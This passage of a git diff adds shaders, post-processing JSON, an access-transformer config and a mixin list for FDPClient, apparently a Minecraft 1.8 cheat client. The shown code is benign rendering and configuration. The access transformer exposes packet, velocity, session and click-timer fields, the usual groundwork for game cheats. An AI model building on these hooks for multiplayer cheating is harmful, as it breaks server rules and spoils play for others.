+= texture2D(textureIn, gl_TexCoord[0].st - offset * r).a * weights[int(r)]; + } + + gl_FragColor = vec4(color, mix(innerAlpha, 1.0 - exp(-innerAlpha * exposure), step(0.0, direction.y))); +} diff --git a/src/main/resources/assets/minecraft/shaders/gradient.frag b/src/main/resources/assets/minecraft/shaders/gradient.frag new file mode 100644 index 0000000..8aa4315 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/gradient.frag @@ -0,0 +1,21 @@ +#version 120 + +uniform vec2 location, rectSize; +uniform sampler2D tex; +uniform vec3 color1, color2, color3, color4; +uniform float alpha; + +#define NOISE .5/255.0 + +vec3 createGradient(vec2 coords, vec3 color1, vec3 color2, vec3 color3, vec3 color4){ + vec3 color = mix(mix(color1, color2, coords.y), mix(color3, color4, coords.y), coords.x); + //Dithering the color + // from https://shader-tutorial.dev/advanced/color-banding-dithering/ + color += mix(NOISE, -NOISE, fract(sin(dot(coords.xy, vec2(12.9898, 78.233))) * 43758.5453)); + return color; +} + +void main() { + vec2 coords = (gl_FragCoord.xy - location) / rectSize; + gl_FragColor = vec4(createGradient(coords, color1, color2, color3, color4), alpha); +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/shaders/gradientMask.frag b/src/main/resources/assets/minecraft/shaders/gradientMask.frag new file mode 100644 index 0000000..46587f3 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/gradientMask.frag @@ -0,0 +1,21 @@ +#version 120 + +uniform vec2 location, rectSize; +uniform sampler2D tex; +uniform vec3 color1, color2, color3, color4; +uniform float alpha; + +#define NOISE .5/255.0 + +vec3 createGradient(vec2 coords, vec3 color1, vec3 color2, vec3 color3, vec3 color4){ + vec3 color = mix(mix(color1.rgb, color2.rgb, coords.y), mix(color3.rgb, color4.rgb, coords.y), coords.x); + //Dithering the color from https://shader-tutorial.dev/advanced/color-banding-dithering/ + color += mix(NOISE, -NOISE, fract(sin(dot(coords.xy, vec2(12.9898,78.233))) * 43758.5453)); + return color; +} + +void main() { + vec2 coords = (gl_FragCoord.xy - location) / rectSize; + float texColorAlpha = texture2D(tex, gl_TexCoord[0].st).a; + gl_FragColor = vec4(createGradient(coords, color1, color2, color3, color4), texColorAlpha * alpha); +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/shaders/kawaseDown.frag b/src/main/resources/assets/minecraft/shaders/kawaseDown.frag new file mode 100644 index 0000000..6f79337 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/kawaseDown.frag @@ -0,0 +1,13 @@ +#version 120 + +uniform sampler2D inTexture; +uniform vec2 offset, halfpixel; + +void main() { + vec4 sum = texture2D(inTexture, gl_TexCoord[0].st) * 4.0; + sum += texture2D(inTexture, gl_TexCoord[0].st - halfpixel.xy * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + halfpixel.xy * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(halfpixel.x, -halfpixel.y) * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st - vec2(halfpixel.x, -halfpixel.y) * offset); + gl_FragColor = vec4(sum.rgb / 8.0, 1.0); +} diff --git a/src/main/resources/assets/minecraft/shaders/kawaseUp.frag b/src/main/resources/assets/minecraft/shaders/kawaseUp.frag new file mode 100644 index 0000000..775eb5f --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/kawaseUp.frag @@ -0,0 +1,17 @@ +#version 120 + +uniform sampler2D inTexture; +uniform vec2 halfpixel, offset; + +void main() { + vec4 sum = texture2D(inTexture, gl_TexCoord[0].st + vec2(-halfpixel.x * 2.0, 0.0) * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(-halfpixel.x, halfpixel.y) * offset) * 2.0; + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(0.0, halfpixel.y * 2.0) * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(halfpixel.x, halfpixel.y) * offset) * 2.0; + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(halfpixel.x * 2.0, 0.0) * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(halfpixel.x, -halfpixel.y) * offset) * 2.0; + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(0.0, -halfpixel.y * 2.0) * offset); + sum += texture2D(inTexture, gl_TexCoord[0].st + vec2(-halfpixel.x, -halfpixel.y) * offset) * 2.0; + + gl_FragColor = vec4(sum.rgb / 12.0, 1.); +} diff --git a/src/main/resources/assets/minecraft/shaders/outline.frag b/src/main/resources/assets/minecraft/shaders/outline.frag new file mode 100644 index 0000000..8ad80c7 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/outline.frag @@ -0,0 +1,22 @@ +#version 120 + +uniform vec2 texelSize, direction; +uniform sampler2D texture; +uniform float radius; +uniform vec3 color; + +#define offset direction * texelSize + +void main() { + float centerAlpha = texture2D(texture, gl_TexCoord[0].xy).a; + float innerAlpha = centerAlpha; + for (float r = 1.0; r <= radius; r++) { + float alphaCurrent1 = texture2D(texture, gl_TexCoord[0].xy + offset * r).a; + float alphaCurrent2 = texture2D(texture, gl_TexCoord[0].xy - offset * r).a; + + innerAlpha += alphaCurrent1 + alphaCurrent2; + } + + gl_FragColor = vec4(color, innerAlpha) * step(0.0, -centerAlpha); +} + diff --git a/src/main/resources/assets/minecraft/shaders/post/blurArea.json b/src/main/resources/assets/minecraft/shaders/post/blurArea.json new file mode 100644 index 0000000..ba5f550 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/post/blurArea.json @@ -0,0 +1,37 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blurArea", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + }, + { + "name": "blurArea", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + } + ] +} diff --git a/src/main/resources/assets/minecraft/shaders/program/blurArea.fsh b/src/main/resources/assets/minecraft/shaders/program/blurArea.fsh new file mode 100644 index 0000000..c1f14ec --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/program/blurArea.fsh @@ -0,0 +1,81 @@ +#version 120 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec2 BlurDir; +uniform vec2 BlurXY; +uniform vec2 BlurCoord; +uniform float Radius; + +float SCurve (float x) { + + + // ---- by CeeJayDK + + x = x * 2.0 - 1.0; + return -x * abs(x) * 0.5 + x + 0.5; + + //return dot(vec3(-x, 2.0, 1.0 ),vec3(abs(x), x, 1.0)) * 0.5; // possibly faster version + + + + + // ---- original for posterity + + // How to do this without if-then-else? + // +edited the too steep curve value + + // if (value < 0.5) + // { + // return value * value * 2.0; + // } + + // else + // { + // value -= 1.0; + + // return 1.0 - value * value * 2.0; + // } +} + +vec4 BlurH (sampler2D source, vec2 size, vec2 uv, float radius) { + + if (uv.x / oneTexel.x >= BlurXY.x * 2 && uv.y / oneTexel.y >= BlurXY.y * 2 && uv.x / oneTexel.x <= (BlurCoord.x + BlurXY.x) * 2 && uv.y / oneTexel.y <= (BlurCoord.y + BlurXY.y) * 2) + { + vec4 A = vec4(0.0); + vec4 C = vec4(0.0); + + float divisor = 0.0; + float weight = 0.0; + + float radiusMultiplier = 1.0 / radius; + + // Hardcoded for radius 20 (normally we input the radius + // in there), needs to be literal here + + for (float x = -radius; x <= radius; x++) + { + A = texture2D(source, uv + vec2(x * size) * BlurDir); + + weight = SCurve(1.0 - (abs(x) * radiusMultiplier)); + + C += A * weight; + + divisor += weight; + } + + return vec4(C.r / divisor, C.g / divisor, C.b / divisor, 1.0); + } + + return texture2D(source, uv); +} + +void main() { + vec4 blurred = BlurH(DiffuseSampler, oneTexel, texCoord, Radius); + gl_FragColor = blurred; +} diff --git a/src/main/resources/assets/minecraft/shaders/program/blurArea.json b/src/main/resources/assets/minecraft/shaders/program/blurArea.json new file mode 100644 index 0000000..5ced890 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/program/blurArea.json @@ -0,0 +1,22 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "blurArea", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "BlurDir", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "BlurXY", "type": "float", "count": 2, "values": [ 0.0, 0.0 ] }, + { "name": "BlurCoord", "type": "float", "count": 2, "values": [ 100.0, 100.0 ] }, + { "name": "Radius", "type": "float", "count": 1, "values": [ 5.0 ] } + ] +} diff --git a/src/main/resources/assets/minecraft/shaders/program/blurTest.fsh b/src/main/resources/assets/minecraft/shaders/program/blurTest.fsh new file mode 100644 index 0000000..82d7165 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/program/blurTest.fsh @@ -0,0 +1,26 @@ +#version 120 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec2 BlurDir; +uniform float Radius; + +void main() { + vec3 blurred = vec3(.0); + float roughCalc = Radius * 2.0 + 1.0; + float weight = 0.0; + float alpha = 0.0; + for (float r = -Radius; r <= Radius; r += 1.0) { + vec4 mainTexture = texture2D(DiffuseSampler, texCoord + oneTexel * r * BlurDir); + if (mainTexture.a <= 0.0) continue; + blurred += mainTexture.rgb; + alpha += mainTexture.a; + weight += 1.0; + } + gl_FragColor = vec4(blurred.r / weight, blurred.g / weight, blurred.b / weight, alpha / roughCalc); +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/shaders/program/blurTest.json b/src/main/resources/assets/minecraft/shaders/program/blurTest.json new file mode 100644 index 0000000..57e8a4e --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/program/blurTest.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "blurTest", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "BlurDir", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Radius", "type": "float", "count": 1, "values": [ 5.0 ] } + ] +} diff --git a/src/main/resources/assets/minecraft/shaders/roundRectOutline.frag b/src/main/resources/assets/minecraft/shaders/roundRectOutline.frag new file mode 100644 index 0000000..0481bbe --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/roundRectOutline.frag @@ -0,0 +1,19 @@ +#version 120 + +uniform vec2 location, rectSize; +uniform vec4 color, outlineColor; +uniform float radius, outlineThickness; + +float roundedSDF(vec2 centerPos, vec2 size, float radius) { + return length(max(abs(centerPos) - size + radius, 0.0)) - radius; +} + +void main() { + float distance = roundedSDF(gl_FragCoord.xy - location - (rectSize * .5), (rectSize * .5) + (outlineThickness *.5) - 1.0, radius); + + float blendAmount = smoothstep(0., 2., abs(distance) - (outlineThickness * .5)); + + vec4 insideColor = (distance < 0.) ? color : vec4(outlineColor.rgb, 0.0); + gl_FragColor = mix(outlineColor, insideColor, blendAmount); + +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/shaders/roundRectTextured.frag b/src/main/resources/assets/minecraft/shaders/roundRectTextured.frag new file mode 100644 index 0000000..fc89337 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/roundRectTextured.frag @@ -0,0 +1,16 @@ +#version 120 + +uniform vec2 location, rectSize; +uniform sampler2D textureIn; +uniform float radius, alpha; + +float roundedBoxSDF(vec2 centerPos, vec2 size, float radius) { + return length(max(abs(centerPos) -size, 0.)) - radius; +} + + +void main() { + float distance = roundedBoxSDF((rectSize * .5) - (gl_TexCoord[0].st * rectSize), (rectSize * .5) - radius - 1., radius); + float smoothedAlpha = (1.0-smoothstep(0.0, 2.0, distance)) * alpha; + gl_FragColor = vec4(texture2D(textureIn, gl_TexCoord[0].st).rgb, smoothedAlpha); +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/shaders/vertex.vsh b/src/main/resources/assets/minecraft/shaders/vertex.vsh new file mode 100644 index 0000000..1eb5182 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/vertex.vsh @@ -0,0 +1,6 @@ +#version 120 + +void main() { + gl_TexCoord[0] = gl_MultiTexCoord0; + gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex; +} \ No newline at end of file diff --git a/src/main/resources/fdpclient_at.cfg b/src/main/resources/fdpclient_at.cfg new file mode 100644 index 0000000..bb54837 --- /dev/null +++ b/src/main/resources/fdpclient_at.cfg @@ -0,0 +1,177 @@ +# GlStateManager +public net.minecraft.client.renderer.GlStateManager$Color +public net.minecraft.client.renderer.GlStateManager$TextureState + +# ResourcePackRepository +public net.minecraft.client.resources.ResourcePackRepository$Entry <init>(Lnet/minecraft/client/resources/ResourcePackRepository;Ljava/io/File;)V # constructor + +# TileEntityBannerRenderer +public net.minecraft.client.renderer.tileentity.TileEntityBannerRenderer$TimedBannerTexture +public net.minecraft.client.renderer.tileentity.TileEntityBannerRenderer$TimedBannerTexture <init>()V # constructor + +# BlockRedstoneTorch +public net.minecraft.block.BlockRedstoneTorch$Toggle + +# Minecraft +public net.minecraft.client.Minecraft field_71428_T # timer +public-f net.minecraft.client.Minecraft field_71449_j # session +public net.minecraft.client.Minecraft field_71467_ac # rightClickDelayTimer +public net.minecraft.client.Minecraft func_147116_af()V # clickMouse +public net.minecraft.client.Minecraft func_147121_ag()V # rightClickMouse +public net.minecraft.client.Minecraft field_71429_W # leftClickCounter + +# GuiIngame +public net.minecraft.client.gui.GuiIngame field_175196_v # overlayPlayerList + +# EntityOtherPlayerMP +public net.minecraft.client.entity.EntityOtherPlayerMP field_71181_g #otherPlayerMPPitch +public net.minecraft.client.entity.EntityOtherPlayerMP field_71180_f #otherPlayerMPYaw +public net.minecraft.client.entity.EntityOtherPlayerMP field_71185_c #otherPlayerMPX +public net.minecraft.client.entity.EntityOtherPlayerMP field_71182_d #otherPlayerMPY +public net.minecraft.client.entity.EntityOtherPlayerMP field_71183_e #otherPlayerMPZ + +# GuiIngameForge +#public net.minecraftforge.client.GuiIngameForge pre(Lnet/minecraftforge/client/event/RenderGameOverlayEvent/ElementType;)Z +#public net.minecraftforge.client.GuiIngameForge post(Lnet/minecraftforge/client/event/RenderGameOverlayEvent/ElementType;)V + +# C00Handshake +public net.minecraft.network.handshake.client.C00Handshake field_149598_b # ip +public net.minecraft.network.handshake.client.C00Handshake field_149599_c # port + +# C00PacketKeepAlive +public net.minecraft.network.play.client.C00PacketKeepAlive field_149461_a # key + +# C01PacketChatMessage +public net.minecraft.network.play.client.C01PacketChatMessage field_149440_a # message + +# C03PacketPlayer +public net.minecraft.network.play.client.C03PacketPlayer field_149479_a # x +public net.minecraft.network.play.client.C03PacketPlayer field_149477_b # y +public net.minecraft.network.play.client.C03PacketPlayer field_149478_c # z +public net.minecraft.network.play.client.C03PacketPlayer field_149476_e # yaw +public net.minecraft.network.play.client.C03PacketPlayer field_149473_f # pitch +public net.minecraft.network.play.client.C03PacketPlayer field_149474_g # onGround +public net.minecraft.network.play.client.C03PacketPlayer field_149481_i # rotating + +# C08PacketPlayerBlockPlacement +public net.minecraft.network.play.client.C08PacketPlayerBlockPlacement field_149580_e # stack +public net.minecraft.network.play.client.C08PacketPlayerBlockPlacement field_149577_f # facingX +public net.minecraft.network.play.client.C08PacketPlayerBlockPlacement field_149578_g # facingY +public net.minecraft.network.play.client.C08PacketPlayerBlockPlacement field_149584_h # facingZ + +# C0FPacketConfirmTransaction +public net.minecraft.network.play.client.C0FPacketConfirmTransaction field_149534_b # uid +public net.minecraft.network.play.client.C0FPacketConfirmTransaction field_149536_a # windowId +public net.minecraft.network.play.client.C0FPacketConfirmTransaction field_149535_c # accepted + +# ShaderGroup +public net.minecraft.client.shader.ShaderGroup field_148035_a # mainFramebuffer +public net.minecraft.client.shader.ShaderGroup field_148031_d # listShaders + +# KeyBinding +public net.minecraft.client.settings.KeyBinding field_74513_e # pressed + +# C17PacketCustomPayload +public net.minecraft.network.play.client.C17PacketCustomPayload field_149561_c # data + +# PlayerControllerMP +public net.minecraft.client.multiplayer.PlayerControllerMP field_78779_k # currentGameType + +# S01PacketJoinGame +public net.minecraft.network.play.server.S01PacketJoinGame field_149205_c # gameType + +# S07PacketRespawn +public net.minecraft.network.play.server.S07PacketRespawn field_149087_c # gameType + +# Entity +public net.minecraft.entity.Entity field_70134_J # isInWeb +public-f net.minecraft.entity.Entity func_174806_f(FF)Lnet/minecraft/util/Vec3; # getVectorForRotation + +# EntityLivingBase +public net.minecraft.entity.EntityLivingBase field_70773_bE # jumpTicks + +# EntityPlayer +public net.minecraft.entity.player.EntityPlayer field_71072_f # itemInUseCount +public net.minecraft.entity.player.EntityPlayer field_71083_bS # sleeping +public net.minecraft.entity.player.EntityPlayer field_71076_b # sleepTimer +public net.minecraft.entity.player.EntityPlayer field_71102_ce # speedInAir + +# EntityPlayerSP +public net.minecraft.client.entity.EntityPlayerSP field_110321_bQ # horseJumpPower +public net.minecraft.client.entity.EntityPlayerSP field_110320_a # horseJumpPowerCounter +public net.minecraft.client.entity.EntityPlayerSP field_175171_bO # serverSprintState +public net.minecraft.client.entity.EntityPlayerSP field_175168_bP # positionUpdateTicks + +# EntityRenderer +public net.minecraft.client.renderer.EntityRenderer func_175069_a(Lnet/minecraft/util/ResourceLocation;)V # loadShader +public net.minecraft.client.renderer.EntityRenderer func_78479_a(FI)V # setupCameraTransform +public net.minecraft.client.renderer.EntityRenderer field_78490_B # thirdPersonDistance +public net.minecraft.client.renderer.EntityRenderer field_78491_C # thirdPersonDistanceTemp + +# GuiChest +public net.minecraft.client.gui.inventory.GuiChest field_147018_x # inventoryRows +public net.minecraft.client.gui.inventory.GuiChest field_147015_w # lowerChestInventory + +# GuiContainer +public net.minecraft.client.gui.inventory.GuiContainer func_146984_a(Lnet/minecraft/inventory/Slot;III)V # handleMouseClick +public net.minecraft.client.gui.inventory.GuiContainerCreative func_146984_a(Lnet/minecraft/inventory/Slot;III)V # handleMouseClick + +# InventoryEffectRenderer +public net.minecraft.client.renderer.InventoryEffectRenderer func_175378_g()V # updateActivePotionEffects + +# GuiGameOver +public net.minecraft.client.gui.GuiGameOver field_146347_a # enableButtonsTimer + +# GuiScreen +public net.minecraft.client.gui.GuiScreen func_175272_a(Lnet/minecraft/util/IChatComponent;II)V # handleComponentHover + +# GuiButton +public net.minecraft.client.gui.GuiButton field_146123_n # hovered + +# ItemBucket +public net.minecraft.item.ItemBucket field_77876_a # isFull + +# KeyBinding +public net.minecraft.client.settings.KeyBinding field_74513_e # pressed + +# PlayerControllerMP +public net.minecraft.client.multiplayer.PlayerControllerMP field_78770_f # curBlockDamageMP +public net.minecraft.client.multiplayer.PlayerControllerMP field_78781_i # blockHitDelay +public net.minecraft.client.multiplayer.PlayerControllerMP func_78750_j()V # syncCurrentPlayItem + +# RenderMananger +public net.minecraft.client.renderer.entity.RenderManager field_78725_b # renderPosX +public net.minecraft.client.renderer.entity.RenderManager field_78726_c # renderPosY +public net.minecraft.client.renderer.entity.RenderManager field_78723_d # renderPosZ + +# S2EPacketCloseWindow +public net.minecraft.network.play.server.S2EPacketCloseWindow field_148896_a # windowId + +# S08PacketPlayerPosLook +public net.minecraft.network.play.server.S08PacketPlayerPosLook field_148936_d # yaw +public net.minecraft.network.play.server.S08PacketPlayerPosLook field_148937_e # pitch +public net.minecraft.network.play.server.S08PacketPlayerPosLook field_148938_b # x +public net.minecraft.network.play.server.S08PacketPlayerPosLook field_148939_c # y +public net.minecraft.network.play.server.S08PacketPlayerPosLook field_148940_a # z + +# S12PacketEntityVelocity +public net.minecraft.network.play.server.S12PacketEntityVelocity field_149415_b # motionX +public net.minecraft.network.play.server.S12PacketEntityVelocity field_149416_c # motionY +public net.minecraft.network.play.server.S12PacketEntityVelocity field_149414_d # motionZ + +# S2APacketParticles +public net.minecraft.network.play.server.S2APacketParticles field_179751_a # particleType +public net.minecraft.network.play.server.S2APacketParticles field_149234_b # xCoord +public net.minecraft.network.play.server.S2APacketParticles field_149235_c # yCoord +public net.minecraft.network.play.server.S2APacketParticles field_149232_d # zCoord +public net.minecraft.network.play.server.S2APacketParticles field_149233_e # xOffset +public net.minecraft.network.play.server.S2APacketParticles field_149230_f # yOffset +public net.minecraft.network.play.server.S2APacketParticles field_149231_g # zOffset +public net.minecraft.network.play.server.S2APacketParticles field_149237_h # particleSpeed +public net.minecraft.network.play.server.S2APacketParticles field_149238_i # particleCount + +# NetHandlerPlayClient +public net.minecraft.client.network.NetHandlerPlayClient field_147309_h # doneLoadingTerrain + +# BlockLiquid +public net.minecraft.block.BlockLiquid func_176362_e(Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I # getLevel diff --git a/src/main/resources/mcmod.info b/src/main/resources/mcmod.info new file mode 100644 index 0000000..8866536 --- /dev/null +++ b/src/main/resources/mcmod.info @@ -0,0 +1,16 @@ +[ + { + "modid": "fdpclient", + "name": "FDPClient", + "description": "Minecraft 1.8 Utility mod", + "version": "${version}", + "mcversion": "${mcversion}", + "url": "https://fdpinfo.github.io", + "updateUrl": "", + "authorList": ["CCBlueX", "Zywl", "SkidderMC"], + "credits": "", + "logoFile": "", + "screenshots": [], + "dependencies": [] + } +] diff --git a/src/main/resources/mixins.fdpclient.json b/src/main/resources/mixins.fdpclient.json new file mode 100644 index 0000000..f442f60 --- /dev/null +++ b/src/main/resources/mixins.fdpclient.json @@ -0,0 +1,118 @@ +{ + "required": true, + "minVersion": "0.7.11", + "package": "net.ccbluex.liquidbounce.injection.forge.mixins", + "refmap": "mixins.fdpclient.refmap.json", + "compatibilityLevel": "JAVA_8", + "mixins": [ + "accessors.MinecraftForgeClientAccessor", + "block.MixinBlock", + "block.MixinBlockAnvil", + "block.MixinBlockLadder", + "block.MixinBlockLilyPad", + "block.MixinBlockModelRenderer", + "block.MixinBlockSoulSand", + "client.MixinEnumFacing", + "client.MixinGameSettings", + "client.MixinItemStack", + "client.MixinLanguageManager", + "client.MixinMinecraft", + "client.MixinResourcePackRepository", + "client.MixinWorldClient", + "entity.MixinAbstractClientPlayer", + "entity.MixinEntity", + "entity.MixinEntityLivingBase", + "entity.MixinEntityOtherPlayerMP", + "entity.MixinEntityPlayer", + "entity.MixinEntityPlayerSP", + "entity.MixinEntityXPOrb", + "entity.MixinPlayerControllerMP", + "gui.MixinGui", + "gui.MixinGuiAchievement", + "gui.MixinGuiButton", + "gui.MixinGuiButtonExt", + "gui.MixinGuiChat", + "gui.MixinGuiConnecting", + "gui.MixinGuiContainer", + "gui.MixinGuiDisconnected", + "gui.MixinGuiDownloadTerrain", + "gui.MixinGuiEditSign", + "gui.MixinGuiGameOver", + "gui.MixinGuiInGame", + "gui.MixinGuiIngameMenu", + "gui.MixinGuiKeyBindingList", + "gui.MixinGuiLanguage", + "gui.MixinGuiMultiplayer", + "gui.MixinGuiNewChat", + "gui.MixinGuiOptions", + "gui.MixinGuiOptionSlider", + "gui.MixinGuiPlayerTabOverlay", + "gui.MixinGuiScreen", + "gui.MixinGuiScreenOptionsSounds", + "gui.MixinGuiScreenResourcePacks", + "gui.MixinGuiSlider", + "gui.MixinGuiSlot", + "gui.MixinGuiSpectator", + "gui.MixinGuiTextField", + "gui.MixinServerListEntryNormal", + "network.MixinNetworkPlayerInfo", + "network.MixinBlockedServers", + "network.MixinC00Handshake", + "network.MixinC17PacketCustomPayload", + "network.MixinNetHandlerPlayClient", + "network.MixinNetworkManager", + "network.MixinNetworkManagerChInit", + "network.MixinS3FPacketCustomPayload", + "patcher.bugfixes.MixinBlockFluidRenderer", + "patcher.bugfixes.MixinClientCommandHandler", + "patcher.bugfixes.MixinCommandHandler", + "patcher.bugfixes.MixinEntityPackets", + "patcher.bugfixes.MixinItemModelMesher", + "patcher.bugfixes.MixinLazyLoadBase", + "patcher.bugfixes.MixinRegionRenderCache", + "patcher.bugfixes.MixinScoreboard", + "patcher.bugfixes.MixinServerAddress", + "patcher.bugfixes.MixinServerList", + "patcher.bugfixes.MixinSoundManager", + "patcher.performance.MixinAnvilChunkLoader", + "patcher.performance.MixinBlockPos", + "patcher.performance.MixinGameRulesValue", + "patcher.performance.MixinMinecraftServer", + "patcher.performance.MixinNodeProcessor", + "performance.MixinBlock", + "performance.MixinChunk", + "performance.MixinEntityFX", + "performance.MixinRenderGlobal", + "performance.MixinWorld", + "performance.MixinWorldManager", + "render.MixinEffectRenderer", + "render.MixinEntityRenderer", + "render.MixinFontRenderer", + "render.MixinItemRenderer", + "render.MixinLayerArmorBase", + "render.MixinLayerArrow", + "render.MixinLayerCreeperCharge", + "render.MixinLayerHeldItem", + "render.MixinLayerSpiderEyes", + "render.MixinLayerWitherAura", + "render.MixinModelBiped", + "render.MixinModelSkeleton", + "render.MixinModelVillager", + "render.MixinRegionRenderCache", + "render.MixinRender", + "render.MixinRenderEntityItem", + "render.MixinRendererLivingEntity", + "render.MixinRenderItem", + "render.MixinRenderManager", + "render.MixinRenderPlayer", + "render.MixinTileEntityBannerRenderer", + "render.MixinTileEntityChestRenderer", + "render.MixinTileEntityItemStackRenderer", + "render.MixinTileEntityMobSpawnerRenderer", + "render.MixinTileEntityRendererDispatcher", + "render.MixinTileEntitySkullRenderer", + "render.MixinVisGraph", + "resources.MixinDefaultResourcePack", + "resources.MixinSkinManager" + ] +}